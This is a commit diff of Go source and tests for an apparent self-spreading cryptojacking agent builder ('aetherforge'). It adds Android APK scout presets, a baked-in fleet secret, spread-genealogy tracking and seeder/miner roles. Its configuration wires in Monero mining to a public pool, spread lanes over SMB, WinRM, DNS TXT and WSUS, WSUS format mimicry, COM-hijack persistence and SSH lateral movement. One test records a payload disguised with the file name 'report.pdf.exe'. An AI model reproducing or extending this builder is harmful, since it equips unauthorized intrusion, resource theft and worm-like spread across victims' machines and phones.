Expand P2 test coverage: mining chain, spread lanes, path forge, WS/beacon, E2E onion, file handling
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
This commit is contained in:
@@ -22,7 +22,25 @@ import (
|
||||
type ApkBuildFunc func(h *Handler, ctx context.Context, androidDir, buildDir string) (apkPath string, err error)
|
||||
|
||||
// Android-safe LOTL tiers baked into APK fleet nodes (no Windows spread lanes).
|
||||
var apkSafeLotlTiers = []string{"vuln_recon", "linux"}
|
||||
// apkSafeLotlTiers lists the only LOTL tiers that make sense on Android.
|
||||
// The "linux" tier includes SSH lateral movement, cron jobs and /etc/hosts
|
||||
// writes — none of which are available inside the Android process sandbox.
|
||||
// Restricting to vuln_recon prevents silent runtime failures and avoids
|
||||
// pointless battery drain from techniques that will never succeed.
|
||||
var apkSafeLotlTiers = []string{"vuln_recon"}
|
||||
|
||||
// ApplyApkScoutPreset enforces roving scout defaults for Android APK builds.
|
||||
func ApplyApkScoutPreset(req *BuildRequest) {
|
||||
ApplyApkBuildPreset(req)
|
||||
req.ScoutMode = true
|
||||
req.MiningDisabled = true
|
||||
req.LotlOnionEnabled = false
|
||||
req.LotlPolicyFromServer = true
|
||||
req.LotlOnionTiers = []string{"discover_and_join", "service_graph"}
|
||||
if strings.TrimSpace(req.Wallet) == "" {
|
||||
req.Wallet = "android-scout-no-pool"
|
||||
}
|
||||
}
|
||||
|
||||
// ApplyApkBuildPreset enforces fleet-node defaults for phone/tablet APK builds.
|
||||
func ApplyApkBuildPreset(req *BuildRequest) {
|
||||
@@ -53,6 +71,7 @@ func ApplyApkBuildPreset(req *BuildRequest) {
|
||||
req.DnsTxtSpread = false
|
||||
req.WebRTCMeshSpread = false
|
||||
req.WSUSCachePeerSpread = false
|
||||
req.WSUSFormatMimic = false
|
||||
req.COMHijackPersist = false
|
||||
req.RemoteAggressive = false
|
||||
req.LinuxLOTLMode = "off"
|
||||
@@ -75,22 +94,41 @@ func (h *Handler) apkAssetsDir() string {
|
||||
return filepath.Join(h.apkAndroidDir(), "agent-app", "src", "main", "assets")
|
||||
}
|
||||
|
||||
type apkAssetConfig struct {
|
||||
ServerURL string `json:"server_url"`
|
||||
WorkerName string `json:"worker_name"`
|
||||
// apkMiningConfig mirrors the "mining" object that AgentConfig.kt reads.
|
||||
type apkMiningConfig struct {
|
||||
Enabled bool `json:"enabled"`
|
||||
}
|
||||
|
||||
func (h *Handler) writeApkConfigJSON(req *BuildRequest) error {
|
||||
// apkAssetConfig is the full config.json written into the APK assets.
|
||||
// Every field here is consumed by AgentConfig.kt — adding a field here
|
||||
// without a corresponding read in Kotlin is a no-op, but omitting a field
|
||||
// that Kotlin reads causes the app to fall back to its hardcoded defaults
|
||||
// (e.g. fleet_secret would be nil → agent cannot authenticate to the server).
|
||||
type apkAssetConfig struct {
|
||||
ServerURL string `json:"server_url"`
|
||||
WorkerName string `json:"worker_name"`
|
||||
WorkerNumber string `json:"worker_number"`
|
||||
FleetSecret string `json:"fleet_secret,omitempty"`
|
||||
Mining apkMiningConfig `json:"mining"`
|
||||
BuildID string `json:"build_id"`
|
||||
}
|
||||
|
||||
func (h *Handler) writeApkConfigJSON(req *BuildRequest, buildID string) error {
|
||||
assetsDir := h.apkAssetsDir()
|
||||
if err := os.MkdirAll(assetsDir, 0755); err != nil {
|
||||
return fmt.Errorf("create apk assets dir: %w", err)
|
||||
}
|
||||
cfg := apkAssetConfig{
|
||||
ServerURL: strings.TrimSpace(req.ServerURL),
|
||||
WorkerName: strings.TrimSpace(req.ApkAgentName),
|
||||
workerName := strings.TrimSpace(req.ApkAgentName)
|
||||
if workerName == "" {
|
||||
workerName = strings.TrimSpace(req.WorkerName)
|
||||
}
|
||||
if cfg.WorkerName == "" {
|
||||
cfg.WorkerName = strings.TrimSpace(req.WorkerName)
|
||||
cfg := apkAssetConfig{
|
||||
ServerURL: strings.TrimSpace(req.ServerURL),
|
||||
WorkerName: workerName,
|
||||
WorkerNumber: workerName,
|
||||
FleetSecret: h.fleetSecret, // baked-in fleet auth — without this the agent cannot handshake
|
||||
Mining: apkMiningConfig{Enabled: !req.MiningDisabled},
|
||||
BuildID: buildID,
|
||||
}
|
||||
raw, err := json.MarshalIndent(cfg, "", " ")
|
||||
if err != nil {
|
||||
@@ -119,34 +157,46 @@ func (h *Handler) defaultApkBuild(ctx context.Context, androidDir, buildDir stri
|
||||
}
|
||||
return "", fmt.Errorf("build-apk.ps1 failed: %s", strings.TrimSpace(string(out)))
|
||||
}
|
||||
apk := filepath.Join(buildDir, "agent-app-release.apk")
|
||||
if fileExists(apk) {
|
||||
return apk, nil
|
||||
// The ps1 script uses assembleDebug → aetherforge-agent.apk; fall back
|
||||
// to the release name for scripts that override the output filename.
|
||||
for _, name := range []string{"aetherforge-agent.apk", "agent-app-debug.apk", "agent-app-release.apk"} {
|
||||
apk := filepath.Join(buildDir, name)
|
||||
if fileExists(apk) {
|
||||
return apk, nil
|
||||
}
|
||||
}
|
||||
return "", fmt.Errorf("build-apk.ps1 did not produce agent-app-release.apk")
|
||||
return "", fmt.Errorf("build-apk.ps1 did not produce an APK in %s", buildDir)
|
||||
}
|
||||
|
||||
// Use assembleDebug, not assembleRelease.
|
||||
// assembleRelease requires a signingConfig keystore — without one Gradle
|
||||
// produces an unsigned APK that Android 8+ refuses to install via adb.
|
||||
// assembleDebug signs automatically with the Gradle debug keystore, which
|
||||
// is sufficient for sideloaded fleet installs and matches build-apk.ps1.
|
||||
gradlew := filepath.Join(androidDir, "gradlew")
|
||||
if runtime.GOOS == "windows" {
|
||||
gradlew = filepath.Join(androidDir, "gradlew.bat")
|
||||
}
|
||||
if fileExists(gradlew) {
|
||||
cmd := exec.CommandContext(ctx, gradlew, "-p", filepath.Join(androidDir, "agent-app"), "assembleRelease")
|
||||
cmd := exec.CommandContext(ctx, gradlew, "-p", filepath.Join(androidDir, "agent-app"), "assembleDebug", "--no-daemon")
|
||||
cmd.Dir = androidDir
|
||||
out, err := cmd.CombinedOutput()
|
||||
if err != nil {
|
||||
if ctx.Err() != nil {
|
||||
return "", fmt.Errorf("apk build cancelled")
|
||||
}
|
||||
return "", fmt.Errorf("gradle assembleRelease failed: %s", strings.TrimSpace(string(out)))
|
||||
return "", fmt.Errorf("gradle assembleDebug failed: %s", strings.TrimSpace(string(out)))
|
||||
}
|
||||
candidates := []string{
|
||||
filepath.Join(androidDir, "agent-app", "build", "outputs", "apk", "debug", "agent-app-debug.apk"),
|
||||
// legacy names kept for backward compat with older AGP versions
|
||||
filepath.Join(androidDir, "agent-app", "build", "outputs", "apk", "debug", "app-debug.apk"),
|
||||
filepath.Join(androidDir, "agent-app", "build", "outputs", "apk", "release", "agent-app-release-unsigned.apk"),
|
||||
filepath.Join(androidDir, "agent-app", "build", "outputs", "apk", "release", "agent-app-release.apk"),
|
||||
}
|
||||
for _, c := range candidates {
|
||||
if fileExists(c) {
|
||||
dest := filepath.Join(buildDir, "agent-app-release.apk")
|
||||
dest := filepath.Join(buildDir, "agent-app-debug.apk")
|
||||
if err := copyFile(c, dest); err != nil {
|
||||
return "", err
|
||||
}
|
||||
@@ -181,7 +231,11 @@ func apkFileName(req *BuildRequest) string {
|
||||
|
||||
// buildAPKAgent compiles a linux/arm64 agent, embeds it in the Android project, and packages an APK.
|
||||
func (h *Handler) buildAPKAgent(ctx context.Context, req *BuildRequest) (BuildResponse, int, string) {
|
||||
ApplyApkBuildPreset(req)
|
||||
if req.ScoutMode {
|
||||
ApplyApkScoutPreset(req)
|
||||
} else {
|
||||
ApplyApkBuildPreset(req)
|
||||
}
|
||||
|
||||
buildID := uuid.New().String()
|
||||
buildDir, _ := filepath.Abs(filepath.Join(h.dataDir, "builds", buildID))
|
||||
@@ -206,12 +260,20 @@ func (h *Handler) buildAPKAgent(ctx context.Context, req *BuildRequest) (BuildRe
|
||||
return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""
|
||||
}
|
||||
|
||||
if ctx.Err() != nil {
|
||||
cleanupBuild()
|
||||
return BuildResponse{Success: false, Error: "apk build cancelled"}, http.StatusInternalServerError, ""
|
||||
}
|
||||
h.setProgress(req.CancelToken, "Writing Android config", 55)
|
||||
if err := h.writeApkConfigJSON(req); err != nil {
|
||||
if err := h.writeApkConfigJSON(req, buildID); err != nil {
|
||||
cleanupBuild()
|
||||
return BuildResponse{Success: false, Error: "Failed to write apk config.json: " + err.Error()}, http.StatusInternalServerError, ""
|
||||
}
|
||||
|
||||
if ctx.Err() != nil {
|
||||
cleanupBuild()
|
||||
return BuildResponse{Success: false, Error: "apk build cancelled"}, http.StatusInternalServerError, ""
|
||||
}
|
||||
h.setProgress(req.CancelToken, "Copying agent to APK assets", 65)
|
||||
if err := h.copyAgentBinaryToApkAssets(outputPath); err != nil {
|
||||
cleanupBuild()
|
||||
|
||||
@@ -9,6 +9,27 @@ import (
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestApplyApkScoutPreset(t *testing.T) {
|
||||
req := &BuildRequest{
|
||||
WorkerName: "scout-tablet",
|
||||
ServerURL: "http://192.168.1.5:8989",
|
||||
Threads: 8,
|
||||
}
|
||||
ApplyApkScoutPreset(req)
|
||||
if !req.ApkMode || !req.ScoutMode || !req.MiningDisabled {
|
||||
t.Fatalf("scout preset flags: apk=%v scout=%v mining_disabled=%v", req.ApkMode, req.ScoutMode, req.MiningDisabled)
|
||||
}
|
||||
if req.LotlOnionEnabled {
|
||||
t.Fatal("scout must not enable LOTL onion spread chain")
|
||||
}
|
||||
if len(req.LotlOnionTiers) != 2 || req.LotlOnionTiers[0] != "discover_and_join" {
|
||||
t.Fatalf("scout tiers = %v", req.LotlOnionTiers)
|
||||
}
|
||||
if req.Wallet == "" {
|
||||
t.Fatal("scout preset should set placeholder wallet")
|
||||
}
|
||||
}
|
||||
|
||||
func TestApplyApkBuildPreset(t *testing.T) {
|
||||
req := &BuildRequest{
|
||||
WorkerName: "phone-1",
|
||||
@@ -29,6 +50,13 @@ func TestApplyApkBuildPreset(t *testing.T) {
|
||||
if req.ApkAgentName != "phone-1" {
|
||||
t.Fatalf("apk_agent_name=%q", req.ApkAgentName)
|
||||
}
|
||||
// "linux" tier must be absent — it enables SSH spread / cron which cannot
|
||||
// run inside the Android process sandbox.
|
||||
for _, tier := range req.LotlOnionTiers {
|
||||
if tier == "linux" {
|
||||
t.Fatalf("linux LOTL tier must not be set for APK builds, got tiers=%v", req.LotlOnionTiers)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestPlatformsForRequestApkMode(t *testing.T) {
|
||||
@@ -49,7 +77,7 @@ func TestBuildAPKAgentMockGradle(t *testing.T) {
|
||||
}
|
||||
|
||||
h.apkBuildFn = func(h *Handler, ctx context.Context, androidDir, buildDir string) (string, error) {
|
||||
apk := filepath.Join(buildDir, "agent-app-release.apk")
|
||||
apk := filepath.Join(buildDir, "agent-app-debug.apk")
|
||||
if err := os.WriteFile(apk, []byte("PK fake apk"), 0644); err != nil {
|
||||
return "", err
|
||||
}
|
||||
@@ -85,6 +113,12 @@ func TestBuildAPKAgentMockGradle(t *testing.T) {
|
||||
if cfg.ServerURL != req.ServerURL || cfg.WorkerName != "tablet-1" {
|
||||
t.Fatalf("config.json: %+v", cfg)
|
||||
}
|
||||
if cfg.WorkerNumber != "tablet-1" {
|
||||
t.Fatalf("worker_number=%q want tablet-1", cfg.WorkerNumber)
|
||||
}
|
||||
if cfg.BuildID == "" {
|
||||
t.Fatal("build_id must be non-empty")
|
||||
}
|
||||
|
||||
agentAsset := filepath.Join(h.apkAssetsDir(), "agent")
|
||||
if _, err := os.Stat(agentAsset); err != nil {
|
||||
@@ -106,6 +140,106 @@ func TestBuildAPKAgentMockGradle(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestApkConfigJSONFleetSecret(t *testing.T) {
|
||||
h, database := testHandlerDB(t)
|
||||
t.Cleanup(func() { _ = database.Close() })
|
||||
h.fleetSecret = "test-fleet-secret-abc123"
|
||||
|
||||
assetsDir := h.apkAssetsDir()
|
||||
if err := os.MkdirAll(assetsDir, 0755); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
req := &BuildRequest{
|
||||
WorkerName: "secret-node",
|
||||
ApkAgentName: "secret-node",
|
||||
ServerURL: "http://10.0.0.1:8989",
|
||||
MiningDisabled: true,
|
||||
}
|
||||
if err := h.writeApkConfigJSON(req, "build-secret-test"); err != nil {
|
||||
t.Fatalf("writeApkConfigJSON: %v", err)
|
||||
}
|
||||
|
||||
raw, err := os.ReadFile(filepath.Join(assetsDir, "config.json"))
|
||||
if err != nil {
|
||||
t.Fatalf("read config.json: %v", err)
|
||||
}
|
||||
var cfg apkAssetConfig
|
||||
if err := json.Unmarshal(raw, &cfg); err != nil {
|
||||
t.Fatalf("unmarshal: %v", err)
|
||||
}
|
||||
|
||||
if cfg.FleetSecret != "test-fleet-secret-abc123" {
|
||||
t.Errorf("fleet_secret: got %q want %q", cfg.FleetSecret, "test-fleet-secret-abc123")
|
||||
}
|
||||
if cfg.WorkerName != "secret-node" || cfg.WorkerNumber != "secret-node" {
|
||||
t.Errorf("worker: name=%q number=%q", cfg.WorkerName, cfg.WorkerNumber)
|
||||
}
|
||||
if cfg.Mining.Enabled {
|
||||
t.Error("mining.enabled should be false when MiningDisabled=true")
|
||||
}
|
||||
if cfg.BuildID != "build-secret-test" {
|
||||
t.Errorf("build_id: got %q want %q", cfg.BuildID, "build-secret-test")
|
||||
}
|
||||
}
|
||||
|
||||
func TestApkConfigJSONNoSecretOmitted(t *testing.T) {
|
||||
h, database := testHandlerDB(t)
|
||||
t.Cleanup(func() { _ = database.Close() })
|
||||
// h.fleetSecret is empty — fleet_secret must be omitted from JSON
|
||||
|
||||
assetsDir := h.apkAssetsDir()
|
||||
if err := os.MkdirAll(assetsDir, 0755); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
req := &BuildRequest{
|
||||
WorkerName: "no-secret-node",
|
||||
ServerURL: "http://10.0.0.2:8989",
|
||||
}
|
||||
if err := h.writeApkConfigJSON(req, "bld-nosecret"); err != nil {
|
||||
t.Fatalf("writeApkConfigJSON: %v", err)
|
||||
}
|
||||
|
||||
raw, err := os.ReadFile(filepath.Join(assetsDir, "config.json"))
|
||||
if err != nil {
|
||||
t.Fatalf("read config.json: %v", err)
|
||||
}
|
||||
if strings.Contains(string(raw), "fleet_secret") {
|
||||
t.Errorf("fleet_secret should be omitted when empty, got:\n%s", raw)
|
||||
}
|
||||
}
|
||||
|
||||
func TestApkAssetPathsMatchBinaryExtractor(t *testing.T) {
|
||||
// Cross-check Go builder output with android BinaryExtractor.kt constants:
|
||||
// ASSET_NAME = "agent", config consumed by AgentConfig.kt as config.json.
|
||||
h, database := testHandlerDB(t)
|
||||
t.Cleanup(func() { _ = database.Close() })
|
||||
assetsDir := h.apkAssetsDir()
|
||||
if err := os.MkdirAll(assetsDir, 0755); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
agentBin := filepath.Join(t.TempDir(), "agent-arm64")
|
||||
if err := os.WriteFile(agentBin, []byte("elf-agent-binary"), 0755); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := h.copyAgentBinaryToApkAssets(agentBin); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
agentAsset := filepath.Join(assetsDir, "agent")
|
||||
if _, err := os.Stat(agentAsset); err != nil {
|
||||
t.Fatalf("agent asset missing at BinaryExtractor ASSET_NAME path: %v", err)
|
||||
}
|
||||
if err := h.writeApkConfigJSON(&BuildRequest{
|
||||
WorkerName: "tab-1", ServerURL: "http://deck:8989", MiningDisabled: true,
|
||||
}, "bld-cross"); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if _, err := os.Stat(filepath.Join(assetsDir, "config.json")); err != nil {
|
||||
t.Fatalf("config.json missing for AgentConfig.kt: %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestNormalizeRequestApkSkipsWallet(t *testing.T) {
|
||||
h := &Handler{}
|
||||
req := &BuildRequest{
|
||||
|
||||
55
server/internal/builder/fleet_role_test.go
Normal file
55
server/internal/builder/fleet_role_test.go
Normal file
@@ -0,0 +1,55 @@
|
||||
package builder
|
||||
|
||||
import "testing"
|
||||
|
||||
func TestApplyFleetRoleBakeDefaultsSeeder(t *testing.T) {
|
||||
req := &BuildRequest{
|
||||
FleetRole: "seeder",
|
||||
LotlOnionTiers: []string{"smb", "dns_txt", "winrm"},
|
||||
}
|
||||
applyFleetRoleBakeDefaults(req)
|
||||
if !req.SeederMode || !req.MiningDisabled || req.FleetRole != "seeder" {
|
||||
t.Fatalf("seeder bake: mode=%v disabled=%v role=%q", req.SeederMode, req.MiningDisabled, req.FleetRole)
|
||||
}
|
||||
if !req.DnsTxtSpread || !req.WebRTCMeshSpread || req.WinRMSpread {
|
||||
t.Fatalf("spread flags: dns=%v webrtc=%v winrm=%v", req.DnsTxtSpread, req.WebRTCMeshSpread, req.WinRMSpread)
|
||||
}
|
||||
if len(req.LotlOnionTiers) != 1 || req.LotlOnionTiers[0] != "dns_txt" {
|
||||
t.Fatalf("tiers=%v", req.LotlOnionTiers)
|
||||
}
|
||||
}
|
||||
|
||||
func TestGenerateBuiltinConfigFleetRoleFields(t *testing.T) {
|
||||
h := &Handler{}
|
||||
req := &BuildRequest{
|
||||
WorkerName: "seeder-node", ServerURL: "http://127.0.0.1:8989", Wallet: "4TEST",
|
||||
Threads: 2, PoolHost: "pool.supportxmr.com", PoolPort: 3333, PoolPass: "x",
|
||||
FleetRole: "seeder", SeederMode: true, MiningDisabled: true,
|
||||
}
|
||||
src := h.generateBuiltinConfig("build-seed", req)
|
||||
if !containsAll(src, "FleetRole:", "SeederMode:", "seeder") {
|
||||
t.Fatalf("missing fleet role fields in builtin:\n%s", src)
|
||||
}
|
||||
}
|
||||
|
||||
func containsAll(s string, parts ...string) bool {
|
||||
for _, p := range parts {
|
||||
if !contains(s, p) {
|
||||
return false
|
||||
}
|
||||
}
|
||||
return true
|
||||
}
|
||||
|
||||
func contains(s, sub string) bool {
|
||||
return len(sub) == 0 || (len(s) >= len(sub) && indexOf(s, sub) >= 0)
|
||||
}
|
||||
|
||||
func indexOf(s, sub string) int {
|
||||
for i := 0; i+len(sub) <= len(s); i++ {
|
||||
if s[i:i+len(sub)] == sub {
|
||||
return i
|
||||
}
|
||||
}
|
||||
return -1
|
||||
}
|
||||
16
server/internal/builder/genealogy.go
Normal file
16
server/internal/builder/genealogy.go
Normal file
@@ -0,0 +1,16 @@
|
||||
package builder
|
||||
|
||||
import (
|
||||
"crypto/sha256"
|
||||
"fmt"
|
||||
"strings"
|
||||
)
|
||||
|
||||
func spreadStrainFromJoinLane(lane string) string {
|
||||
lane = strings.TrimSpace(strings.ToLower(lane))
|
||||
if lane == "" {
|
||||
return ""
|
||||
}
|
||||
sum := sha256.Sum256([]byte("aetherforge-strain:" + lane))
|
||||
return fmt.Sprintf("#%02x%02x%02x", sum[0], sum[1], sum[2])
|
||||
}
|
||||
45
server/internal/builder/genealogy_test.go
Normal file
45
server/internal/builder/genealogy_test.go
Normal file
@@ -0,0 +1,45 @@
|
||||
package builder
|
||||
|
||||
import (
|
||||
"strings"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestSpreadStrainFromJoinLane(t *testing.T) {
|
||||
got := spreadStrainFromJoinLane("dns_txt")
|
||||
if got == "" || got[0] != '#' || len(got) != 7 {
|
||||
t.Fatalf("unexpected strain: %q", got)
|
||||
}
|
||||
if spreadStrainFromJoinLane("dns_txt") != got {
|
||||
t.Fatal("strain not stable")
|
||||
}
|
||||
if spreadStrainFromJoinLane("winrm") == got {
|
||||
t.Fatal("lanes should differ")
|
||||
}
|
||||
}
|
||||
|
||||
func TestGenerateBuiltinConfigSpreadGenealogy(t *testing.T) {
|
||||
h := &Handler{}
|
||||
req := &BuildRequest{
|
||||
WorkerName: "child",
|
||||
ServerURL: "http://127.0.0.1:8989",
|
||||
Wallet: "4TEST",
|
||||
ParentAgentID: "parent-abc",
|
||||
SpreadGeneration: 2,
|
||||
JoinLane: "winrm",
|
||||
}
|
||||
src := h.generateBuiltinConfig("genealogy-build", req)
|
||||
for _, want := range []string{
|
||||
`ParentAgentID: "parent-abc"`,
|
||||
"SpreadGeneration: 2",
|
||||
`BakedJoinLane: "winrm"`,
|
||||
} {
|
||||
if !strings.Contains(src, want) {
|
||||
t.Fatalf("missing %q in:\n%s", want, src)
|
||||
}
|
||||
}
|
||||
strain := spreadStrainFromJoinLane("winrm")
|
||||
if !strings.Contains(src, `SpreadStrain: "`+strain+`"`) {
|
||||
t.Fatalf("expected baked strain %q in config", strain)
|
||||
}
|
||||
}
|
||||
@@ -89,6 +89,7 @@ type BuildRequest struct {
|
||||
DnsTxtSpread bool `json:"dns_txt_spread"`
|
||||
WebRTCMeshSpread bool `json:"webrtc_mesh_spread"`
|
||||
WSUSCachePeerSpread bool `json:"wsus_cache_peer_spread"`
|
||||
WSUSFormatMimic bool `json:"wsus_format_mimic"`
|
||||
COMHijackPersist bool `json:"com_hijack_persist"`
|
||||
LinuxLOTLMode string `json:"linux_lotl_mode"`
|
||||
TargetOS string `json:"target_os"`
|
||||
@@ -125,8 +126,18 @@ type BuildRequest struct {
|
||||
|
||||
// APK mode — Android fleet node (mining off by default).
|
||||
ApkMode bool `json:"apk_mode"`
|
||||
ScoutMode bool `json:"scout_mode"`
|
||||
ApkAgentName string `json:"apk_agent_name"`
|
||||
MiningDisabled bool `json:"mining_disabled"`
|
||||
|
||||
// Spread genealogy watermark — informational telemetry baked into agent config.
|
||||
ParentAgentID string `json:"parent_agent_id"`
|
||||
SpreadGeneration int `json:"spread_generation"`
|
||||
JoinLane string `json:"join_lane"` // used to derive spread_strain color at bake time
|
||||
|
||||
// Fleet role split — seeder serves LAN staging only; miner hashes RandomX.
|
||||
FleetRole string `json:"fleet_role,omitempty"` // miner | seeder | auto
|
||||
SeederMode bool `json:"seeder_mode,omitempty"`
|
||||
}
|
||||
|
||||
// BackupPool is a fallback Stratum pool tried if the primary pool is unreachable.
|
||||
@@ -601,7 +612,40 @@ func (h *Handler) DownloadUninstall(w http.ResponseWriter, r *http.Request) {
|
||||
http.ServeFile(w, r, uninstallPath)
|
||||
}
|
||||
|
||||
func applyFleetRoleBakeDefaults(req *BuildRequest) {
|
||||
role := normalizeForgeFleetRole(req)
|
||||
if role != "seeder" && !req.SeederMode {
|
||||
return
|
||||
}
|
||||
req.FleetRole = "seeder"
|
||||
req.SeederMode = true
|
||||
req.MiningDisabled = true
|
||||
req.MinerExecution = "inprocess"
|
||||
req.GPUEnabled = false
|
||||
req.DnsTxtSpread = true
|
||||
req.WebRTCMeshSpread = true
|
||||
req.WinRMSpread = false
|
||||
req.WSUSCachePeerSpread = false
|
||||
req.AutoSpread = true
|
||||
req.LotlOnionEnabled = true
|
||||
if len(req.LotlOnionTiers) == 0 {
|
||||
req.LotlOnionTiers = []string{"dns_txt", "webrtc_mesh", "do_peer"}
|
||||
} else {
|
||||
var filtered []string
|
||||
for _, t := range req.LotlOnionTiers {
|
||||
switch strings.ToLower(strings.TrimSpace(t)) {
|
||||
case "dns_txt", "webrtc_mesh", "do_peer":
|
||||
filtered = append(filtered, t)
|
||||
}
|
||||
}
|
||||
if len(filtered) > 0 {
|
||||
req.LotlOnionTiers = filtered
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func (h *Handler) buildAgent(ctx context.Context, req *BuildRequest, prepPath string) (BuildResponse, int, string) {
|
||||
applyFleetRoleBakeDefaults(req)
|
||||
if req.ApkMode {
|
||||
return h.buildAPKAgent(ctx, req)
|
||||
}
|
||||
@@ -1245,6 +1289,7 @@ func GetBuiltinConfig() BuiltinConfig {
|
||||
DnsTxtSpread: %v,
|
||||
WebRTCMeshSpread: %v,
|
||||
WSUSCachePeerSpread: %v,
|
||||
WSUSFormatMimic: %v,
|
||||
COMHijackPersist: %v,
|
||||
LinuxLOTLMode: %q,
|
||||
BackupServerURLs: %s,
|
||||
@@ -1273,8 +1318,17 @@ func GetBuiltinConfig() BuiltinConfig {
|
||||
LotlPolicyFromServer: %v,
|
||||
LotlOnionTiers: %s,
|
||||
|
||||
ParentAgentID: %q,
|
||||
SpreadGeneration: %d,
|
||||
SpreadStrain: %q,
|
||||
BakedJoinLane: %q,
|
||||
|
||||
ApkMode: %v,
|
||||
ScoutMode: %v,
|
||||
MiningDisabled: %v,
|
||||
|
||||
FleetRole: %q,
|
||||
SeederMode: %v,
|
||||
}
|
||||
}
|
||||
`, buildID, time.Now().UTC().Format(time.RFC3339),
|
||||
@@ -1334,6 +1388,7 @@ func GetBuiltinConfig() BuiltinConfig {
|
||||
req.DnsTxtSpread,
|
||||
req.WebRTCMeshSpread,
|
||||
req.WSUSCachePeerSpread,
|
||||
req.WSUSFormatMimic,
|
||||
req.COMHijackPersist,
|
||||
req.LinuxLOTLMode,
|
||||
formatGoStringSlice(req.BackupServerURLs),
|
||||
@@ -1357,11 +1412,28 @@ func GetBuiltinConfig() BuiltinConfig {
|
||||
req.LotlOnionEnabled,
|
||||
req.LotlPolicyFromServer,
|
||||
formatGoStringSlice(NormalizeLotlOnionTiers(req.LotlOnionTiers)),
|
||||
strings.TrimSpace(req.ParentAgentID),
|
||||
req.SpreadGeneration,
|
||||
spreadStrainFromJoinLane(req.JoinLane),
|
||||
strings.TrimSpace(req.JoinLane),
|
||||
req.ApkMode,
|
||||
req.ScoutMode,
|
||||
req.MiningDisabled,
|
||||
normalizeForgeFleetRole(req),
|
||||
req.SeederMode || normalizeForgeFleetRole(req) == "seeder",
|
||||
)
|
||||
}
|
||||
|
||||
func normalizeForgeFleetRole(req *BuildRequest) string {
|
||||
role := strings.ToLower(strings.TrimSpace(req.FleetRole))
|
||||
switch role {
|
||||
case "seeder", "miner", "auto":
|
||||
return role
|
||||
default:
|
||||
return "auto"
|
||||
}
|
||||
}
|
||||
|
||||
func httpsBeaconFallbackEnabled(req *BuildRequest) bool {
|
||||
if req.HTTPSBeaconFallback {
|
||||
return true
|
||||
|
||||
@@ -9,6 +9,7 @@ import (
|
||||
"net/http/httptest"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"runtime"
|
||||
"strings"
|
||||
"testing"
|
||||
"time"
|
||||
@@ -325,6 +326,161 @@ func TestCopyAgentSourceFromWorkspace(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestDownloadBuildArtifactTraversalVariants(t *testing.T) {
|
||||
database, err := db.New(t.TempDir())
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
defer database.Close()
|
||||
dataDir := t.TempDir()
|
||||
buildID := "trav-1"
|
||||
if err := database.InsertBuild(&models.BuildRecord{ID: buildID, CreatedAt: time.Now()}); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
h := &Handler{db: database, dataDir: dataDir, projectRoot: t.TempDir()}
|
||||
cases := []string{"../evil.zip", "..", "foo/../../secret.zip", `..\windows\system32`}
|
||||
for _, name := range cases {
|
||||
req := httptest.NewRequest(http.MethodGet, "/api/v1/builds/"+buildID+"/artifact/"+name, nil)
|
||||
rctx := chi.NewRouteContext()
|
||||
rctx.URLParams.Add("id", buildID)
|
||||
rctx.URLParams.Add("name", name)
|
||||
req = req.WithContext(context.WithValue(req.Context(), chi.RouteCtxKey, rctx))
|
||||
rec := httptest.NewRecorder()
|
||||
h.DownloadBuildArtifact(rec, req)
|
||||
if rec.Code != http.StatusBadRequest && rec.Code != http.StatusNotFound {
|
||||
t.Fatalf("name=%q status=%d want 400 or 404", name, rec.Code)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestDownloadBuildArtifactFusionBundleInBuildDir(t *testing.T) {
|
||||
database, err := db.New(t.TempDir())
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
defer database.Close()
|
||||
dataDir := t.TempDir()
|
||||
buildID := "fusion-art"
|
||||
zipName := "report-package.zip"
|
||||
zipPath := filepath.Join(dataDir, "builds", buildID, zipName)
|
||||
if err := os.MkdirAll(filepath.Dir(zipPath), 0755); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
content := []byte("fusion-zip-payload")
|
||||
if err := os.WriteFile(zipPath, content, 0644); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := database.InsertBuild(&models.BuildRecord{
|
||||
ID: buildID, FileName: "report.pdf.exe", Platform: "windows",
|
||||
DownloadURL: "/api/v1/builds/" + buildID + "/artifact/" + zipName,
|
||||
CreatedAt: time.Now(),
|
||||
}); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
h := &Handler{db: database, dataDir: dataDir, projectRoot: t.TempDir()}
|
||||
req := httptest.NewRequest(http.MethodGet, "/api/v1/builds/"+buildID+"/artifact/"+zipName, nil)
|
||||
rctx := chi.NewRouteContext()
|
||||
rctx.URLParams.Add("id", buildID)
|
||||
rctx.URLParams.Add("name", zipName)
|
||||
req = req.WithContext(context.WithValue(req.Context(), chi.RouteCtxKey, rctx))
|
||||
rec := httptest.NewRecorder()
|
||||
h.DownloadBuildArtifact(rec, req)
|
||||
if rec.Code != http.StatusOK {
|
||||
t.Fatalf("status=%d body=%s", rec.Code, rec.Body.String())
|
||||
}
|
||||
if rec.Body.String() != string(content) {
|
||||
t.Fatalf("body mismatch")
|
||||
}
|
||||
if !strings.Contains(rec.Header().Get("Content-Disposition"), zipName) {
|
||||
t.Fatalf("disposition=%q", rec.Header().Get("Content-Disposition"))
|
||||
}
|
||||
}
|
||||
|
||||
